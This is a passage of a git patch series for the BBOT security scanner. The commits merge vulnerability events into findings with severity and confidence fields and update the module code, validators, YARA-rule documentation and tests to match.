len(vulns) == 2 diff --git a/bbot/test/test_step_2/module_tests/test_module_telerik.py b/bbot/test/test_step_2/module_tests/test_module_telerik.py index 390e196731..a0affde103 100644 --- a/bbot/test/test_step_2/module_tests/test_module_telerik.py +++ b/bbot/test/test_step_2/module_tests/test_module_telerik.py @@ -91,7 +91,7 @@ def check(self, module_test, events): telerik_axd_detection = True continue - if e.type == "VULNERABILITY" and "Confirmed Vulnerable Telerik (version: 2014.3.1024)": + if e.type == "FINDING" and "Confirmed Vulnerable Telerik (version: 2014.3.1024)" in e.data["description"]: telerik_axd_vulnerable = True continue diff --git a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py index 37b2e7fb4e..f87fa09735 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py +++ b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py @@ -1157,7 +1157,7 @@ def check(self, module_test, events): vuln_events = [ e for e in events - if e.type == "VULNERABILITY" + if e.type == "FINDING" and ( e.data["host"] == "hub.docker.com" or e.data["host"] == "github.com" @@ -1229,7 +1229,7 @@ def check(self, module_test, events): finding_events = [ e for e in events - if e.type == e.type == "FINDING" + if e.type == "FINDING" and ( e.data["host"] == "hub.docker.com" or e.data["host"] == "github.com" @@ -1321,3 +1321,6 @@ def check(self, module_test, events): finding_events = [e for e in events if e.type == "FINDING"] assert len(finding_events) == 1 assert "Possible Secret Found" in finding_events[0].data["description"] + # Trufflehog emits HIGH severity and MODERATE confidence for possible secrets + assert finding_events[0].data["severity"] == "HIGH" + assert finding_events[0].data["confidence"] == "MODERATE" diff --git a/bbot/test/test_step_2/module_tests/test_module_wpscan.py b/bbot/test/test_step_2/module_tests/test_module_wpscan.py index 7e65c1dcce..7b65dfb5ba 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wpscan.py +++ b/bbot/test/test_step_2/module_tests/test_module_wpscan.py @@ -1076,7 +1076,7 @@ async def wpscan_mock_run(*command, **kwargs): def check(self, module_test, events): findings = [e for e in events if e.type == "FINDING"] - vulnerabilities = [e for e in events if e.type == "VULNERABILITY"] + vulnerabilities = [e for e in events if e.type == "FINDING"] technologies = [e for e in events if e.type == "TECHNOLOGY"] assert len(findings) == 1 assert len(vulnerabilities) == 59 diff --git a/docs/modules/custom_yara_rules.md b/docs/modules/custom_yara_rules.md index 5e40856173..0aeba890c1 100644 --- a/docs/modules/custom_yara_rules.md +++ b/docs/modules/custom_yara_rules.md @@ -135,6 +135,23 @@ rule ContainsTitle } ``` +#### Severity and Confidence +``` +rule ContainsTitle +{ + meta: + description = "Contains an HTML title tag" + severity = "HIGH" + confidence = "CONFIRMED" + $title_value = /(.*)?<\/title>/i + condition: + $title_value +} +``` +Confidence and Severity levels will be assigned to the FINDING event produced if there is a match. + + + When run against the Black Lantern Security homepage with the following BBOT command: ``` From 4cdead96021c0ea1a0fcc7ea31130891b8973ea5 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 20 Aug 2025 14:27:45 -0400 Subject: [PATCH 146/912] cleanup --- bbot/modules/internal/excavate.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 2858819500..b856963edc 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -266,20 +266,14 @@ async def report( Returns: None """ - print("!!!!") - print(event_type) - print(event_data) - print("!!!!!") # If a description is not set and is needed, provide a basic one if event_type == "FINDING": - print("THERES A FINDING") if "description" not in event_data.keys(): event_data["description"] = f"{discovery_context} {yara_rule_settings.description}" if "severity" not in event_data.keys(): event_data["severity"] = yara_rule_settings.severity if "confidence" not in event_data.keys(): event_data["confidence"] = yara_rule_settings.confidence - print(event_data) subject = "" if isinstance(event_data, str): subject = f" {event_data}" From 58ea7cd1982b35c9cbc49ee03e067a9e16057ba8 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 20 Aug 2025 16:07:47 -0400 Subject: [PATCH 147/912] fixing test --- bbot/test/test_step_1/test_modules_basic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 07b4f6692d..da192734a0 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -354,7 +354,7 @@ async def handle_event(self, event): # quick emit events like FINDINGS behave differently than normal ones # hosts are not speculated from them await self.emit_event( - {"host": "www.evilcorp.com", "url": "http://www.evilcorp.com", "description": "asdf"}, "FINDING", event + {"host": "www.evilcorp.com", "url": "http://www.evilcorp.com", "description": "asdf", "severity": "LOW", "confidence": "MODERATE"}, "FINDING", event ) await self.emit_event("https://asdf.evilcorp.com", "URL", event, tags=["status-200"]) From 51ba64c61d074a841954baf40a0e69b64f7ec57c Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 22 Aug 2025 18:11:18 -0400 Subject: [PATCH 148/912] lint --- bbot/test/test_step_1/test_modules_basic.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index da192734a0..afa11f0e25 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -354,7 +354,15 @@ async def handle_event(self, event): # quick emit events like FINDINGS behave differently than normal ones # hosts are not speculated from them await self.emit_event( - {"host": "www.evilcorp.com", "url": "http://www.evilcorp.com", "description": "asdf", "severity": "LOW", "confidence": "MODERATE"}, "FINDING", event + { + "host": "www.evilcorp.com", + "url": "http://www.evilcorp.com", + "description": "asdf", + "severity": "LOW", + "confidence": "MODERATE", + }, + "FINDING", + event, ) await self.emit_event("https://asdf.evilcorp.com", "URL", event, tags=["status-200"]) From 75b15ee6284192e9b0993b84d3cc6222fe04dd84 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Fri, 19 Sep 2025 12:19:22 -0400 Subject: [PATCH 149/912] fix graphql, aspnet bin --- bbot/modules/aspnet_bin_exposure.py | 1 + bbot/modules/graphql_introspection.py | 8 +++++++- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/bbot/modules/aspnet_bin_exposure.py b/bbot/modules/aspnet_bin_exposure.py index 9367058412..2f110b0e25 100644 --- a/bbot/modules/aspnet_bin_exposure.py +++ b/bbot/modules/aspnet_bin_exposure.py @@ -63,6 +63,7 @@ async def handle_event(self, event): description = f"IIS Bin Directory DLL Exposure. Detection Url: [{test_url}]" await self.emit_event( { + "name": "IIS Bin Directory DLL Exposure", "severity": "HIGH", "host": str(event.host), "url": normalized_url, diff --git a/bbot/modules/graphql_introspection.py b/bbot/modules/graphql_introspection.py index a820bfb6f3..7a6864cfd7 100644 --- a/bbot/modules/graphql_introspection.py +++ b/bbot/modules/graphql_introspection.py @@ -135,8 +135,14 @@ async def handle_event(self, event): filename = self.output_dir / filename with open(filename, "w") as f: json.dump(response_json, f) + relative_path = str(filename.relative_to(self.scan.home)) await self.emit_event( - {"url": url, "description": "GraphQL schema", "path": str(filename.relative_to(self.scan.home))}, + { + "name": "GraphQL Schema", + "url": url, + "description": f"GraphQL Schema at {url}", + "path": relative_path, + }, "FINDING", event, context=f"{{module}} found GraphQL schema at {url}", From 3a67e0c606e736e66e4dadd24794e183649d7384 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Fri, 19 Sep 2025 12:20:58 -0400 Subject: [PATCH 150/912] fix iis shortnames --- bbot/modules/iis_shortnames.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index e66feff9cd..fcf2b28d1e 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -341,6 +341,7 @@ class safety_counter_obj: if url_hint.lower().endswith(".zip"): await self.emit_event( { + "name": "Possible backup file (zip) in web root", "host": str(event.host), "url": event.data, "description": f"Possible backup file (zip) in web root: {normalized_url}{url_hint}", From 83a87dc2faa7b14d9aabade19b47298a7403a710 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Fri, 19 Sep 2025 12:23:36 -0400 Subject: [PATCH 151/912] fix medusa --- bbot/modules/medusa.py | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py index 46fbc1ae2e..f8e5d60573 100644 --- a/bbot/modules/medusa.py +++ b/bbot/modules/medusa.py @@ -143,7 +143,8 @@ async def handle_event(self, event): self.info(f"Medusa stderr: {result.stderr}") async for message in self.parse_output(result.stdout, snmp_version): - vuln_event = self.create_vuln_event("CRITICAL", message, event) + vuln_name = f"Valid SNMPV{snmp_version} Credentials Found!" + vuln_event = self.create_vuln_event("CRITICAL", vuln_name, message, event) await self.emit_event(vuln_event) # else: Medusa supports various protocols which could in theory be implemented later on. @@ -219,17 +220,12 @@ async def construct_command(self, host, port, protocol, protocol_version): return cmd - def create_vuln_event(self, severity, description, source_event): + def create_vuln_event(self, severity, name, description, source_event): host = str(source_event.host) port = str(source_event.port) return self.make_event( - { - "severity": severity, - "host": host, - "port": port, - "description": description, - }, + {"severity": severity, "host": host, "port": port, "description": description, "name": name}, "VULNERABILITY", source_event, ) From 43936a181e547ef67b66718fae44ac54234b4a0a Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Sat, 20 Sep 2025 10:57:00 -0400 Subject: [PATCH 152/912] fix tests --- bbot/modules/retirejs.py | 1 + .../module_tests/test_module_graphql_introspection.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py index 27e8fec407..4b58c1b23d 100644 --- a/bbot/modules/retirejs.py +++ b/bbot/modules/retirejs.py @@ -183,6 +183,7 @@ async def handle_event(self, event): description_parts.append(f"Affected versions: [>= {at_or_above}]") description = " ".join(description_parts) data = { + "name": "Vulnerable JavaScript Library", "description": description, "severity": severity, "component": component, diff --git a/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py b/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py index f6a47671c7..dd0380f653 100644 --- a/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py +++ b/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py @@ -31,4 +31,4 @@ def check(self, module_test, events): finding = [e for e in events if e.type == "FINDING"] assert finding, "should have raised 1 FINDING event" assert finding[0].data["url"] == "http://127.0.0.1:8888/" - assert finding[0].data["description"] == "GraphQL schema" + assert finding[0].data["description"] == "GraphQL Schema at http://127.0.0.1:8888/" From b0754d6254761646009ed716441bcfbd1bb1d439 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 17 Oct 2025 13:00:39 -0400 Subject: [PATCH 153/912] fixing merge mess up --- bbot/core/event/base.py | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 07ea6ad672..8e91e99bf9 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1548,13 +1548,9 @@ def sanitize_data(self, data): class _data_validator(BaseModel): host: Optional[str] = None -<<<<<<< HEAD severity: str name: str -======= ->>>>>>> vulnerability-funeral description: str - severity: str confidence: str url: Optional[str] = None path: Optional[str] = None @@ -1573,8 +1569,8 @@ def _pretty_string(self): confidence_str = f"[\033[1m{confidence}\033[0m]" else: confidence_str = f"[{confidence}]" + return f"Severity: [{severity}] Confidence: {confidence_str} {description}" -<<<<<<< HEAD class FINDING(ClosestHostEvent): _always_emit = True _quick_emit = True @@ -1590,10 +1586,6 @@ class _data_validator(BaseModel): def _pretty_string(self): return self.data["description"] -======= - return f"Severity: [{severity}] Confidence: {confidence_str} {description}" ->>>>>>> vulnerability-funeral - class TECHNOLOGY(DictHostEvent): class _data_validator(BaseModel): From f0854eb29c72a10a205bde248e7e445baa25397c Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 17 Oct 2025 13:24:46 -0400 Subject: [PATCH 154/912] fixing merge messups --- bbot/core/event/base.py | 15 --------------- bbot/test/bbot_fixtures.py | 11 ----------- bbot/test/test_step_1/test_events.py | 12 +++++++++--- 3 files changed, 9 insertions(+), 29 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 8e91e99bf9..d9d1ca642d 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1571,21 +1571,6 @@ def _pretty_string(self): confidence_str = f"[{confidence}]" return f"Severity: [{severity}] Confidence: {confidence_str} {description}" -class FINDING(ClosestHostEvent): - _always_emit = True - _quick_emit = True - - class _data_validator(BaseModel): - host: Optional[str] = None - name: str - description: str - url: Optional[str] = None - path: Optional[str] = None - _validate_url = field_validator("url")(validators.validate_url) - _validate_host = field_validator("host")(validators.validate_host) - - def _pretty_string(self): - return self.data["description"] class TECHNOLOGY(DictHostEvent): class _data_validator(BaseModel): diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 87c9a8dcbb..f6f00fa65a 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -197,20 +197,13 @@ class bbot_events: url_hint = scan.make_event( "https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url, module=dummy_module ) -<<<<<<< HEAD - vulnerability = scan.make_event( - {"host": "evilcorp.com", "severity": "INFO", "description": "asdf", "name": "Vulnerability"}, - "VULNERABILITY", -======= url_hint = scan.make_event("https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url) finding = scan.make_event( {"host": "evilcorp.com", "severity": "INFORMATIONAL", "confidence": "HIGH", "description": "asdf"}, "FINDING", ->>>>>>> vulnerability-funeral parent=scan.root_event, module=dummy_module, ) -<<<<<<< HEAD finding = scan.make_event( {"host": "evilcorp.com", "description": "asdf", "name": "Finding"}, "FINDING", @@ -221,10 +214,6 @@ class bbot_events: {"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event, module=dummy_module ) http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event, module=dummy_module) -======= - vhost = scan.make_event({"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event) - http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) ->>>>>>> vulnerability-funeral storage_bucket = scan.make_event( {"name": "storage", "url": "https://storage.blob.core.windows.net"}, "STORAGE_BUCKET", diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 7c69cdbdff..21cf7bb6a2 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -334,14 +334,20 @@ async def test_events(events, helpers): assert "affiliate" in corrected_event4.tags test_vuln = scan.make_event( -{"host": "EVILcorp.com", "severity": "iNformational ", "confidence": "HIGH", "description": "asdf"}, -"FINDING", + {"host": "EVILcorp.com", "severity": "iNformational ", "confidence": "HIGH", "description": "asdf"}, + "FINDING", dummy=True, ) assert test_vuln.data["host"] == "evilcorp.com" assert test_vuln.data["severity"] == "INFORMATIONAL" test_vuln2 = scan.make_event( - {"host": "192.168.1.1", "severity": "INFORMATIONAL", "confidence": "HIGH", "description": "asdf", "name": "Vulnerability"}, + { + "host": "192.168.1.1", + "severity": "INFORMATIONAL", + "confidence": "HIGH", + "description": "asdf", + "name": "Vulnerability", + }, "FINDING", dummy=True, ) From 88054becdbc1af536d0574bc854edd5243d9ab10 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 17 Oct 2025 13:52:57 -0400 Subject: [PATCH 155/912] fix tests --- bbot/test/bbot_fixtures.py | 16 ++++++++++++++-- bbot/test/test_step_1/test_db_models.py | 2 +- 2 files changed, 15 insertions(+), 3 deletions(-) diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index f6f00fa65a..a3dc91524d 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -199,13 +199,25 @@ class bbot_events: ) url_hint = scan.make_event("https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url) finding = scan.make_event( - {"host": "evilcorp.com", "severity": "INFORMATIONAL", "confidence": "HIGH", "description": "asdf"}, + { + "host": "evilcorp.com", + "severity": "INFORMATIONAL", + "confidence": "HIGH", + "description": "asdf", + "name": "Test Finding", + }, "FINDING", parent=scan.root_event, module=dummy_module, ) finding = scan.make_event( - {"host": "evilcorp.com", "description": "asdf", "name": "Finding"}, + { + "host": "evilcorp.com", + "description": "asdf", + "name": "Finding", + "severity": "INFORMATIONAL", + "confidence": "HIGH", + }, "FINDING", parent=scan.root_event, module=dummy_module, diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index d453fa81e1..8c926b84da 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -34,7 +34,7 @@ def test_pydantic_models(events, bbot_scanner): ] # convert events to pydantic and back, making sure they're exactly the same - for event in ("ipv4", "http_response", "finding", "vulnerability", "storage_bucket"): + for event in ("ipv4", "http_response", "finding", "storage_bucket"): e = getattr(events, event) event_json = e.json() event_pydantic = Event(**event_json) From 3310cd539a203b4eef1f4d75e32cb793c8cc54ac Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 17 Oct 2025 14:08:20 -0400 Subject: [PATCH 156/912] fix tests, add confidence tests --- bbot/core/event/base.py | 1 + bbot/core/helpers/validators.py | 10 +++- bbot/test/test_step_1/test_events.py | 60 ++++++++++++++++--- .../module_tests/test_module_excavate.py | 50 ++++++++++++++++ 4 files changed, 112 insertions(+), 9 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index d9d1ca642d..07eb8671cf 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1558,6 +1558,7 @@ class _data_validator(BaseModel): _validate_url = field_validator("url")(validators.validate_url) _validate_host = field_validator("host")(validators.validate_host) _validate_severity = field_validator("severity")(validators.validate_severity) + _validate_confidence = field_validator("confidence")(validators.validate_confidence) def _pretty_string(self): severity = self.data["severity"] diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index 6a361ed433..0d1b63e6c7 100644 --- a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -132,11 +132,19 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address] @validator def validate_severity(severity: str): severity = str(severity).strip().upper() - if severity not in ("UNKNOWN", "INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL"): + if severity not in ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL"): raise ValueError(f"Invalid severity: {severity}") return severity +@validator +def validate_confidence(confidence: str): + confidence = str(confidence).strip().upper() + if confidence not in ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED"): + raise ValueError(f"Invalid confidence: {confidence}") + return confidence + + @validator def validate_email(email: str): email = smart_encode_punycode(str(email).strip().lower()) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 21cf7bb6a2..845da9b563 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -334,7 +334,13 @@ async def test_events(events, helpers): assert "affiliate" in corrected_event4.tags test_vuln = scan.make_event( - {"host": "EVILcorp.com", "severity": "iNformational ", "confidence": "HIGH", "description": "asdf"}, + { + "host": "EVILcorp.com", + "severity": "iNformational ", + "confidence": "HIGH", + "description": "asdf", + "name": "Test Finding", + }, "FINDING", dummy=True, ) @@ -358,7 +364,9 @@ async def test_events(events, helpers): test_vuln = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", dummy=True) with pytest.raises(ValidationError, match=".*host.*\n.*Invalid host.*"): test_vuln = scan.make_event( - {"host": "!@#$", "severity": "INFO", "confidence": "HIGH", "description": "asdf"}, "FINDING", dummy=True + {"host": "!@#$", "severity": "INFORMATIONAL", "confidence": "HIGH", "description": "asdf"}, + "FINDING", + dummy=True, ) # invalid severity with pytest.raises(ValidationError, match=".*severity.*\n.*Invalid severity.*"): @@ -367,11 +375,48 @@ async def test_events(events, helpers): "FINDING", dummy=True, ) + # invalid confidence + with pytest.raises(ValidationError, match=".*confidence.*\n.*Invalid confidence.*"): + test_vuln = scan.make_event( + { + "host": "evilcorp.com", + "severity": "HIGH", + "confidence": "INVALID", + "description": "asdf", + "name": "Test", + }, + "FINDING", + dummy=True, + ) + # must have confidence + with pytest.raises(ValidationError, match=".*confidence.*\n.*Field required.*"): + test_vuln = scan.make_event( + {"host": "evilcorp.com", "severity": "HIGH", "description": "asdf", "name": "Test"}, + "FINDING", + dummy=True, + ) + + # test confidence colors and formatting + from bbot.core.event.base import FINDING + + expected_colors = {"CONFIRMED": "🟣", "HIGH": "🔴", "MODERATE": "🟠", "LOW": "🟡", "UNKNOWN": "⚪"} + assert FINDING.confidence_colors == expected_colors + + # test CONFIRMED gets bold formatting + confirmed_finding = scan.make_event( + {"host": "test.com", "name": "Test", "description": "Test", "severity": "HIGH", "confidence": "CONFIRMED"}, + "FINDING", + dummy=True, + ) + pretty_string = confirmed_finding._pretty_string() + assert "[\033[1mCONFIRMED\033[0m]" in pretty_string + assert f"confidence-{confirmed_finding.data['confidence'].lower()}" in confirmed_finding.tags + # must have name with pytest.raises(ValidationError, match=".*name.*\n.*Field required.*"): test_vuln = scan.make_event( - {"host": "evilcorp.com", "severity": "INFO", "description": "asdf"}, - "VULNERABILITY", + {"host": "evilcorp.com", "severity": "INFORMATIONAL", "description": "asdf", "confidence": "HIGH"}, + "FINDING", dummy=True, ) @@ -380,16 +425,15 @@ async def test_events(events, helpers): { "host": "evilcorp.com", "name": "test", - "severity": "INFO", + "severity": "INFORMATIONAL", "description": "asdf", "url": "http://evilcorp.com/test", + "confidence": "HIGH", }, - "VULNERABILITY", + "FINDING", dummy=True, ) assert test_vuln.host == "evilcorp.com" - assert test_vuln.port == 80 - assert test_vuln.netloc == "evilcorp.com:80" # technology should be lowercased tech_event = scan.make_event( diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index c6b712b8ee..85f5882d64 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1064,6 +1064,56 @@ class TestExcavateYaraCustom(TestExcavateYara): config_overrides = {"modules": {"excavate": {"custom_yara_rules": f}}} +class TestExcavateYaraConfidence(ModuleTestBase): + """Test YARA rules with confidence options.""" + + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["excavate", "httpx"] + + async def setup_before_prep(self, module_test): + yara_test_html = """ + <html><body> + <p>CONFIRMED_SECRET_DATA</p> + <p>HIGH_CONFIDENCE_INDICATOR</p> + <p>MODERATE_RISK_PATTERN</p> + <p>LOW_CONFIDENCE_MATCH</p> + <p>UNKNOWN_PATTERN_TYPE</p> + </body></html> + """ + module_test.httpserver.expect_request("/").respond_with_data(yara_test_html) + + async def setup_after_prep(self, module_test): + excavate_module = module_test.scan.modules["excavate"] + excavateruleinstance = excavateTestRule(excavate_module) + + # Add YARA rules with different confidence levels + yara_rules = { + "ConfirmedRule": 'rule ConfirmedRule { meta: description = "Confirmed rule" severity = "HIGH" confidence = "CONFIRMED" strings: $text = "CONFIRMED_SECRET_DATA" condition: $text }', + "HighConfidenceRule": 'rule HighConfidenceRule { meta: description = "High confidence rule" severity = "MEDIUM" confidence = "HIGH" strings: $text = "HIGH_CONFIDENCE_INDICATOR" condition: $text }', + "ModerateConfidenceRule": 'rule ModerateConfidenceRule { meta: description = "Moderate confidence rule" severity = "LOW" confidence = "MODERATE" strings: $text = "MODERATE_RISK_PATTERN" condition: $text }', + "LowConfidenceRule": 'rule LowConfidenceRule { meta: description = "Low confidence rule" severity = "INFORMATIONAL" confidence = "LOW" strings: $text = "LOW_CONFIDENCE_MATCH" condition: $text }', + "UnknownConfidenceRule": 'rule UnknownConfidenceRule { meta: description = "Unknown confidence rule" severity = "INFORMATIONAL" confidence = "UNKNOWN" strings: $text = "UNKNOWN_PATTERN_TYPE" condition: $text }', + } + + for rule_name, rule_content in yara_rules.items(): + excavate_module.add_yara_rule(rule_name, rule_content, excavateruleinstance) + + excavate_module.yara_rules = yara.compile(source="\n".join(excavate_module.yara_rules_dict.values())) + + def check(self, module_test, events): + """Verify findings are created with correct confidence levels.""" + findings = [e for e in events if e.type == "FINDING"] + confidence_findings = {f.data.get("confidence", "UNKNOWN"): f for f in findings} + + # Verify all confidence levels are present + expected_confidences = ["CONFIRMED", "HIGH", "MODERATE", "LOW", "UNKNOWN"] + for confidence in expected_confidences: + assert confidence in confidence_findings, f"Missing finding with confidence: {confidence}" + finding = confidence_findings[confidence] + assert finding.data["confidence"] == confidence + assert f"confidence-{confidence.lower()}" in finding.tags + + class TestExcavateSpiderDedupe(ModuleTestBase): class DummyModule(BaseModule): watched_events = ["URL_UNVERIFIED"] From 64485ce9b89f3933a4b7983e3ff921ef22aa725f Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 17 Oct 2025 14:58:59 -0400 Subject: [PATCH 157/912] fix tests --- bbot/core/event/base.py | 1 + bbot/test/test_step_1/test_events.py | 33 +++++++++------------------- 2 files changed, 11 insertions(+), 23 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 07eb8671cf..6cdc553543 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1541,6 +1541,7 @@ class FINDING(ClosestHostEvent): "UNKNOWN": "⚪", } + def sanitize_data(self, data): self.add_tag(f"severity-{data['severity'].lower()}") self.add_tag(f"confidence-{data['confidence'].lower()}") diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 845da9b563..97320bad12 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -420,21 +420,7 @@ async def test_events(events, helpers): dummy=True, ) - # port and netloc should be derived from URL - test_vuln = scan.make_event( - { - "host": "evilcorp.com", - "name": "test", - "severity": "INFORMATIONAL", - "description": "asdf", - "url": "http://evilcorp.com/test", - "confidence": "HIGH", - }, - "FINDING", - dummy=True, - ) - assert test_vuln.host == "evilcorp.com" - + # technology should be lowercased tech_event = scan.make_event( {"host": "evilcorp.com", "technology": "HTTP", "url": "http://evilcorp.com/test"}, @@ -996,14 +982,14 @@ def test_event_closest_host(): assert not event3.host # finding automatically uses the host from the second event finding = scan.make_event( - {"description": "test", "severity": "LOW", "confidence": "MODERATE"}, "FINDING", parent=event3 + {"description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, "FINDING", parent=event3 ) assert finding.data["host"] == "www.evilcorp.com" assert finding.data["url"] == "http://www.evilcorp.com/asdf" assert finding.data["path"] == "/tmp/asdf.txt" assert finding.host == "www.evilcorp.com" # same with vuln - vuln = scan.make_event({"description": "test", "severity": "HIGH", "confidence": "HIGH"}, "FINDING", parent=event3) + vuln = scan.make_event({"description": "test", "severity": "HIGH", "confidence": "HIGH", "name": "Test Finding"}, "FINDING", parent=event3) assert vuln.data["host"] == "www.evilcorp.com" assert vuln.data["url"] == "http://www.evilcorp.com/asdf" assert vuln.data["path"] == "/tmp/asdf.txt" @@ -1014,32 +1000,32 @@ def test_event_closest_host(): assert not event3.host with pytest.raises(ValueError): finding = scan.make_event( - {"description": "test", "severity": "LOW", "confidence": "MODERATE"}, "FINDING", parent=event3 + {"description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, "FINDING", parent=event3 ) finding = scan.make_event( - {"path": "/tmp/asdf.txt", "description": "test", "severity": "LOW", "confidence": "MODERATE"}, + {"path": "/tmp/asdf.txt", "description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, "FINDING", parent=event3, ) assert finding is not None finding = scan.make_event( - {"host": "evilcorp.com", "description": "test", "severity": "LOW", "confidence": "MODERATE"}, + {"host": "evilcorp.com", "description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, "FINDING", parent=event3, ) assert finding is not None with pytest.raises(ValueError): vuln = scan.make_event( - {"description": "test", "severity": "HIGH", "confidence": "CONFIRMED"}, "FINDING", parent=event3 + {"description": "test", "severity": "HIGH", "confidence": "CONFIRMED", "name": "Test Finding"}, "FINDING", parent=event3 ) vuln = scan.make_event( - {"path": "/tmp/asdf.txt", "description": "test", "severity": "HIGH", "confidence": "CONFIRMED"}, + {"path": "/tmp/asdf.txt", "description": "test", "severity": "HIGH", "confidence": "CONFIRMED", "name": "Test Finding"}, "FINDING", parent=event3, ) assert vuln is not None vuln = scan.make_event( - {"host": "evilcorp.com", "description": "test", "severity": "HIGH", "confidence": "CONFIRMED"}, + {"host": "evilcorp.com", "description": "test", "severity": "HIGH", "confidence": "CONFIRMED", "name": "Test Finding"}, "FINDING", parent=event3, ) @@ -1135,6 +1121,7 @@ def test_event_hashing(): "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", "severity": "MEDIUM", "confidence": "HIGH", + "name": "Finding", } finding1 = scan.make_event(finding_data, "FINDING", parent=host_event_1) finding2 = scan.make_event(finding_data, "FINDING", parent=host_event_2) From 